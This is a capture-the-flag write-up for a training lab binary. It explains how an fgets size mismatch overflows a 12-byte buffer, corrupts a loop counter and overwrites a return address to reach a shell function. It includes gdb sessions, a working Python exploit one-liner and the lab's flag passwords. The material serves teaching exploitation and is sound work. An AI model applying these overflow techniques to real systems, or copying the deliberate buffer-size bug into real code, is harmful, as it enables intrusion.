Lab2A Write-up (Hard)


This last level is a bit tricky, but nothing to worry about! First, log into the Lab02 as Lab2A (lab2A:i_c4ll_wh4t_i_w4nt_n00b) and go to the challenges folder:

$ ssh lab2A@<VM_IP>
$ cd /levels/lab02/

Now we can check what this program does:

lab2A@warzone:/levels/lab02$ ./lab2A
Input 10 words:
AAAA
BBBB
CCCC
DDDD
EEEE
FFFF
GGGG
HHHH
IIII
JJJJ
Here are the first characters from the 10 words concatenated:
ABCDEFGHIJ
Not authenticated

Here, we have to enter 10 words, then it prints the first letter of each word.

Source Code Analysis

Let’s check how it looks in the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void shell()
{
    printf("You got it\n");
    system("/bin/sh");
}

void concatenate_first_chars()
{
    struct {
        char word_buf[12];
        int i;
        char* cat_pointer;
        char cat_buf[10];
    } locals;
    locals.cat_pointer = locals.cat_buf;

    printf("Input 10 words:\n");
    for(locals.i=0; locals.i!=10; locals.i++)
    {
        if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
        {
            printf("Failed to read word\n");
            return;
        }
        *locals.cat_pointer = *locals.word_buf;
        locals.cat_pointer++;
    }

    locals.cat_buf[10] = '\0';
    printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

int main(int argc, char** argv)
{
    if(argc != 1)
    {
        printf("usage:\n%s\n", argv[0]);
        return EXIT_FAILURE;
    }

    concatenate_first_chars();

    printf("Not authenticated\n");
    return EXIT_SUCCESS;
}

Again, there is a shell() function that will give us elevated privileges, but it is not called in the code. So, we will probably need to overwrite a return address somewhere in order to access it. But, where is this bug?

It’s not obvious, but here is the issue :

struct {
    char word_buf[12];
    int i;
    char* cat_pointer;
    char cat_buf[10];
} locals;
locals.cat_pointer = locals.cat_buf;

// Look closely...
for(locals.i=0; locals.i!=10; locals.i++)
    {
        if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
        {
            printf("Failed to read word\n");
            return;
        }
        *locals.cat_pointer = *locals.word_buf;
        locals.cat_pointer++;
    }

In the locals structure, the size of the word_buf member is 12 bytes (in decimal), but in the if condition, the fgets() function takes a size of 0x10 bytes (16 in decimal):

  • if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')

It means that, if we enter at least an 11-char word, word_buf will overflow in the i variable, effectively corrupting this value. By doing that, we can make the for loop run indefinitely because the condition locals.i!=10 will never be met. You may be asking why 11 characters? Well, after entering 11 chars, when pressing enter you will add a 12th character, the newline. Then, fgets() will add a null byte after the last character in the buffer, overwriting the i variable.

So, what can we from here ? Well, as each loop will increase cat_pointer (locals.cat_pointer++;) to fill cat_buf, when cat_buf is full (10 bytes), it’ll start overflowing on the stack which could lead to memory corruption. Now, we just need to know how many “words” we have to enter before overwriting the return address…

Dynamic Analysis

Enough theory, let’s try that in gdb. First, we need to corrupt the i variable in order to have an infinite loop. To find out where it is, you can place a breakpoint at concatenate_first_chars+9 as EAX will contain the pointer to the structure:

gdb-peda$ break *concatenate_first_chars+9
Breakpoint 1 at 0x8048726
gdb-peda$ run
Starting program: /levels/lab02/lab2A
[----------------------------------registers-----------------------------------]
EAX: 0xbffff670 --> 0x0

...[snip]...

Breakpoint 1, 0x08048726 in concatenate_first_chars ()
gdb-peda$ x/16x 0xbffff670
0xbffff670: 0x00000000  0x00c30000  0x00000001  0x0804856d
0xbffff680: 0xbffff889  0x0000002f  0x0804a000  0x08048852
0xbffff690: 0x00000001  0xbffff754  0xbffff6b8  0x080487e6
0xbffff6a0: 0xb7fcd3c4  0xb7fff000  0x0804880b  0xb7fcd000

Obviously, given the structure was just allocated, it only contains junk values. We can start to fill the structure with 2 random words and press CRTRL+C to get back to the debugger and recheck the structure.

gdb-peda$ conti
Continuing.
Input 10 words:
AAAAA
BBBBB
^C <-- CRTL+C !!
Program received signal SIGINT, Interrupt.

...[snip]...

Legend: code, data, rodata, value
Stopped reason: SIGINT
0xb7fdbd4c in __kernel_vsyscall ()
gdb-peda$ x/16x 0xbffff670
0xbffff670: 0x42424242  0x00000a42  0x00000001  0x00000002
0xbffff680: 0xbffff686  0x00004241  0x0804a000  0x08048852
0xbffff690: 0x00000001  0xbffff754  0xbffff6b8  0x080487e6
0xbffff6a0: 0xb7fcd3c4  0xb7fff000  0x0804880b  0xb7fcd000

Now, if we check the address 0xbffff67c we see the 0x00000002 value which represents the i variable. Here, the idea is to set a value equal or higher than 0x0a so, if we enter 12 characters, the i variable will be replaced by the newline characters (0xa).

gdb-peda$ conti
Continuing.
CCCCCCCCCCCC
^C <-- CRTL+C !!
Program received signal SIGINT, Interrupt.

...[snip]...

Stopped reason: SIGINT
0xb7fdbd4c in __kernel_vsyscall ()
gdb-peda$ x/16x 0xbffff670
0xbffff670: 0x43434343  0x43434343  0x43434343  0x0000000b
0xbffff680: 0xbffff687  0x00434241  0x0804a000  0x08048852
0xbffff690: 0x00000001  0xbffff754  0xbffff6b8  0x080487e6
0xbffff6a0: 0xb7fcd3c4  0xb7fff000  0x0804880b  0xb7fcd000

If we recheck the value at 0xbffff67c, it is now set to 0x0000000b (because the for loop will execute locals.i++). Now, the loop will run until we enter a simple line return (\n) as per the if condition (locals.word_buf[0] == '\n').

The next step is to locate the return address in order to know how many words we need to enter to overwrite it. To do this, we just need to disassemble the main() function and see the address of the instruction called after concatenate_first_chars().

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080487b6 <+0>: push   ebp
   0x080487b7 <+1>: mov    ebp,esp
   0x080487b9 <+3>: and    esp,0xfffffff0
   0x080487bc <+6>: sub    esp,0x10
   0x080487bf <+9>: cmp    DWORD PTR [ebp+0x8],0x1
   0x080487c3 <+13>:    je     0x80487e1 <main+43>
   0x080487c5 <+15>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080487c8 <+18>:    mov    eax,DWORD PTR [eax]
   0x080487ca <+20>:    mov    DWORD PTR [esp+0x4],eax
   0x080487ce <+24>:    mov    DWORD PTR [esp],0x804890a
   0x080487d5 <+31>:    call   0x80485a0 <printf@plt>
   0x080487da <+36>:    mov    eax,0x1
   0x080487df <+41>:    jmp    0x80487f7 <main+65>
   0x080487e1 <+43>:    call   0x804871d <concatenate_first_chars> ; call to concatenate_first_chars()
   0x080487e6 <+48>:    mov    DWORD PTR [esp],0x8048915 ; return
   0x080487ed <+55>:    call   0x80485c0 <puts@plt>
   0x080487f2 <+60>:    mov    eax,0x0
   0x080487f7 <+65>:    leave
   0x080487f8 <+66>:    ret
End of assembler dump.

We can see that once the concatenate_first_chars() function return, the code will continue at 0x080487e6. Then, if we check the stack right after the structure, we can see the return address at 0xbffff69c:

gdb-peda$ x/16x 0xbffff670
0xbffff670: 0x43434343  0x43434343  0x43434343  0x0000000b
0xbffff680: 0xbffff687  0x00434241  0x0804a000  0x08048852
0xbffff690: 0x00000001  0xbffff754  0xbffff6b8  0x080487e6
0xbffff6a0: 0xb7fcd3c4  0xb7fff000  0x0804880b  0xb7fcd000

Given the concatenation of the characters start to be stored at 0xbffff684 let’s do the subtraction:

  • 0xbffff69c - 0xbffff684 = 0x18 (or 24 in decimal)

We need to write 24 words before overwriting the return value. Let’s write a quick proof of concept.

gdb-peda$ r < <(python -c 'print "A" * 12 + "\n" + 23 * "A\n" + 4 * "B\n" + "\n"')
Starting program: /levels/lab02/lab2A < <(python -c 'print "A" * 12 + "\n" + 23 * "A\n" + 4 * "B\n" + "\n"')
Input 10 words:
Failed to read word

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x14
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0xb7fd8000 ("Failed to read word\n")
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6a0 --> 0xb7fcd3c4 --> 0xb7fce1e0 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6a0 --> 0xb7fcd3c4 --> 0xb7fce1e0 --> 0x0
0004| 0xbffff6a4 --> 0xb7fff000 --> 0x20f34
0008| 0xbffff6a8 --> 0x804880b (<__libc_csu_init+11>:   add    ebx,0x17f5)
0012| 0xbffff6ac --> 0xb7fcd000 --> 0x1a9da8
0016| 0xbffff6b0 --> 0x8048800 (<__libc_csu_init>:  push   ebp)
0020| 0xbffff6b4 --> 0x0
0024| 0xbffff6b8 --> 0x0
0028| 0xbffff6bc --> 0xb7e3ca83 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Awssome, the return value is properly overwrote. Now, we just need to know the address of the shell() function and modify our exploit.

gdb-peda$ disas shell
Dump of assembler code for function shell:
   0x080486fd <+0>: push   ebp
   0x080486fe <+1>: mov    ebp,esp
   0x08048700 <+3>: sub    esp,0x18
   0x08048703 <+6>: mov    DWORD PTR [esp],0x8048890
   0x0804870a <+13>:    call   0x80485c0 <puts@plt>
   0x0804870f <+18>:    mov    DWORD PTR [esp],0x804889b
   0x08048716 <+25>:    call   0x80485d0 <system@plt>
   0x0804871b <+30>:    leave  
   0x0804871c <+31>:    ret    
End of assembler dump.

Here, the address is 0x080486fd.

Solution

Let’s write our exploit!

lab2A@warzone:/levels/lab02$ (python -c 'print "A" * 12 + "\n" + 23 * "A\n" + "\xfd\n\x86\n\x04\n\x08\n" + "\n"' && cat) | ./lab2A
Input 10 words:
Failed to read word
You got it
whoami
lab2end
cat /home/lab2end/.pass
D1d_y0u_enj0y_y0ur_cats?

Yay! You are done with Lab02. You can go to the next challenge!

Updated: